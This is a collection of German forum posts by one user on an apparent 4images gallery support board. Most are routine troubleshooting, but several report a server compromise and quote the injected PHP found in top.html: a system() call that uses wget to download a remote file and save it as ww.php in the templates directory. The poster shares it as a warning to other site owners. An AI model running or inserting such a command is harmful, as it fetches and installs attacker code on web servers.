Messages

1

Discussion & Troubleshooting / Re: Falsche "IMAGE-ID"

« on: November 04, 2007, 12:19:41 PM »

Vielen Dank für eure Postings!

Dank des letzten Thread-Links von honda2000 habe ich das Problem lösen können.
Es lag tatsächlich daran, dass der Spalte "image-id" auto_increment gefehlt hat.

Es scheint dort tatsächlich einen Unterschied bei verschiedenen Distributionen zu geben.

Aber vielen Dank nochmals für eure Hilfe!

MfG
Michael

2

Discussion & Troubleshooting / Falsche "IMAGE-ID"

« on: November 02, 2007, 11:36:29 PM »

Hallo,

leider klappt bei mir, seit dem ich meine Seite nun unter Debian betreiben, das uploaden von Bildern nicht mehr richtig.

Das Bild wird dann zwar auf der Startseite als "Neues Bild" angezeigt, jedoch kann man die Detail-Seite nicht anschauen.
Was mir allerdings aufgefallen is:
Sowohl auf der Startseite, als auch in der Datenbank unter "Image-ID" steht immer die Zahl "0".

Hier könnt ihr euch das mal anschauen:
http://www.michis-homepage.net/extras/4images/
(Das erste Bild unter den neuen Bildern.)

Was lässt sich denn da machen?

MfG
Michael

3

Installation, Update & Configuration / Re: Suche Dateierweiterung oder Image-Dateiname

« on: November 10, 2006, 04:08:51 PM »

Joa also, ich bekomme eben immer Fehlermeldungen bei Aufruf der "Neue Bilder" seite, weil dort drin nur Mp3-Dateien stecken und es somit keien Variable namens download_height und download_width gibt.

So, und jetzt würde ich einfach gerne in der functions.php checken, ob das Bild eine Bilddatei ist oder eine Mp3-Datei oder sonstiges.
Nur wie mache ich das?

Fireball22

4

Installation, Update & Configuration / Suche Dateierweiterung oder Image-Dateiname

« on: November 10, 2006, 04:00:49 PM »

Hallo,

ich bin grad dabei einige Fehler zu beseitigen, welche sich auf die Zuweisung von den download_height und download_width Attributen beziehen, wenn eine beispielsweise Mp3-Datei angezeigt wird.

Meine Frage ist jetzt nur, wo finde ich genau den Image-Dateinamen der Quelldatei oder vllt. sogar die Image-Dateierweiterung(z. B. .mp3)?

Fireball22

5

Mods & Plugins (Releases & Support) / Re: [MOD] Batch Copy/Move/Edit Images v3.7.3

« on: November 09, 2006, 03:58:53 PM »

Vielen Dank, funktioniert perfekt!

Fireball22

6

Mods & Plugins (Releases & Support) / Re: [MOD] Batch Copy/Move/Edit Images v3.7.3

« on: November 09, 2006, 03:17:28 PM »

Leider funktioniert die "Change Owner" Funktion nicht.
Ich bekomme nach anklicken der Check-Box und Auswählen des neuen Eigentümers nur eine weiße Seite zurück und danach aber keien Änderungen.

Was kann ich machnen?

Fireball22

7

Installation, Update & Configuration / Re: Problem mit Top-Anzeige

« on: November 06, 2006, 08:08:13 PM »

Hat cgi denn gegenüber PHP Nachteile?

Das nicht ein einziges PHP-Script von mir selber programmiert ist, ist falsch!
Beispiel: Fakemailer und an anderen PHP-Scripten wurden u. a. auch einige Veränderungen vorgenommen, da ich einfach das selber programmieren zu zeitaufwändig halte...

Ich habe keinen Beweis.
Ich habe nur einen Beweis, dass ein Script, welches in der top.html abgelegt wurde die boots aus dem Internet heruntergezogen hat und dann in dem template-ordner ausgeführt wurde.

Fireball22

8

Installation, Update & Configuration / Re: Problem mit Top-Anzeige

« on: November 06, 2006, 04:45:59 PM »

Sry, ich habe davon wirklich keine Ahnung wie dieser da bei 4Images reingekommen ist und meine top.html modifizieren konnte.
Es kann auch gut sein, dass es nur ein Bug von der Version 1.7.2 war, das weiß ich ja nicht ob dieser auch noch in der 1.7.4 vorhanden ist.

Ich habe zumindest die Sicherheitslücke bei mir gestopft indem ich einfach das CHMOD komplett eingeschränkt habe.

Was willst du denn mit dem Web-FTP ausdrücken?
Nicht dass du denkst, damit kommt man auf mein FTP drauf 

Fireball22

9

Installation, Update & Configuration / Re: Problem mit Top-Anzeige

« on: November 06, 2006, 02:39:02 PM »

Hallo,

nein, das phpBB Board oder irgendein anderes Community Tool verwende ich nicht.

Du verstehst mich glaub falsch, ich möchte hier ja nicht aussschließen, dass ich keinen Fehler beim Update der Security Fixes gemacht zu haben.
Ich wollte ja nur sicherstellen, dass es ein Fix für diesen Bug gibt und somit nicht dieser Bug für alle offen bleibt.

Fireball22

10

Installation, Update & Configuration / Re: Problem mit Top-Anzeige

« on: November 05, 2006, 11:56:38 AM »

Diese Top-HTML ist der Auslöser dieser zwei Boots neulich!

In dieser HTML-Datei wurde folgendes erzeugt:


<?

system(cd templates;wget http://www.server.tld/file.txt;mv file.txt ww.php); //usw.

?>


Es hat also nichts mit der Serversicherheit zu tun, sondern es liegt allein an einem vergangen Sicherheitsfix von 4Images wodurch diese Zeile erst in die Datei kam.

Fireball22

11

Installation, Update & Configuration / Re: Problem mit Top-Anzeige

« on: November 04, 2006, 08:21:08 PM »

Ohh NEIN!!!

Da war ein schädlicher Code drin!

Bitte überprüft mal alle ob bei euch dort keine System-PHP-Anweisung drin steht.
Hier war bei mir eine wget-Anweisung die eine PHP-Datei aus dem Internet herunterzieht.

Vielen Dank für deinen Post, top.html habe ich sofort geändert!

Fireball22

12

Installation, Update & Configuration / Re: EXIF auf Big-Files beziehen

« on: November 04, 2006, 07:20:18 PM »

@Acidod

Schon was gefunden? 

Fireball22

13

Installation, Update & Configuration / Problem mit Top-Anzeige

« on: November 04, 2006, 07:19:49 PM »

Hallo,

leider bekomme ich beim Klick auf den Top-Link nur die Anzeige des Wortes "default".
Wo liegt denn dort der Fehler?

Man kann das ganze hier sehen:
http://www.michis-homepage.net/extras/4images/

Als Version wird 1.7.4 eingesetzt.

Fireball22

14

Discussion & Troubleshooting / Re: Virus durch 4Images eingeschläust

« on: November 01, 2006, 11:46:00 AM »

Das mit den Log-Files wäre kein Problem, diese kann ich hier posten...
Nur das mit FTP-Zugriff wäre mir ein bisschen zu kritisch gewesen.

Welche Log-Files benötigst du denn genau?

Fireball22

15

Discussion & Troubleshooting / Re: Virus durch 4Images eingeschläust

« on: October 31, 2006, 01:07:24 PM »

Vorcher hatte ich ja die Version 1.7.2 auf dem Server.
Nachdem ich dann diese Trojaner in dem Ordner fand stellte ich erstmal alle Backups wiederher um evtl. Code-Ablagerungen im System nicht mit zu nehmen.
Danach installierte ich gleich wieder die Version 1.7.4.

Und siehe da, einige Stunden später war auch schon wieder ein Trojaner drauf.

Gebe ich aber jetzt dem Template-Verzeichniss nur noch geringere Rechte, so kommt da überhaupt nichts mehr drauf.

Also würde ich fast sagen, dass es doch an 4Images liegt 
Es muss ja nicht so ein deutlicher oder bekannter Bug sein, es reicht ja wenn es einer weißt und damit viel Schaden anrichten kann.

Womöglich sind davon auch mehrere Gallerien betroffen, nur viel merken es nicht, so wie bei mir am Anfang!
Bei mir lagen die zwei Dateien ww.php und versions.php ca. 10 Tage lang umbemerkt auf meinem Server, weil ich ja nicht jeden Tag in den Template-Ordner schaue.
Bemerkt habe ich das ganze nur, als ich ein Server-Backup auf meinen Rechner heruntergeladen habe und am nächsten Tag AntiVir meinen Rechner inkl. dem Backup durchsucht hat.

Fireball22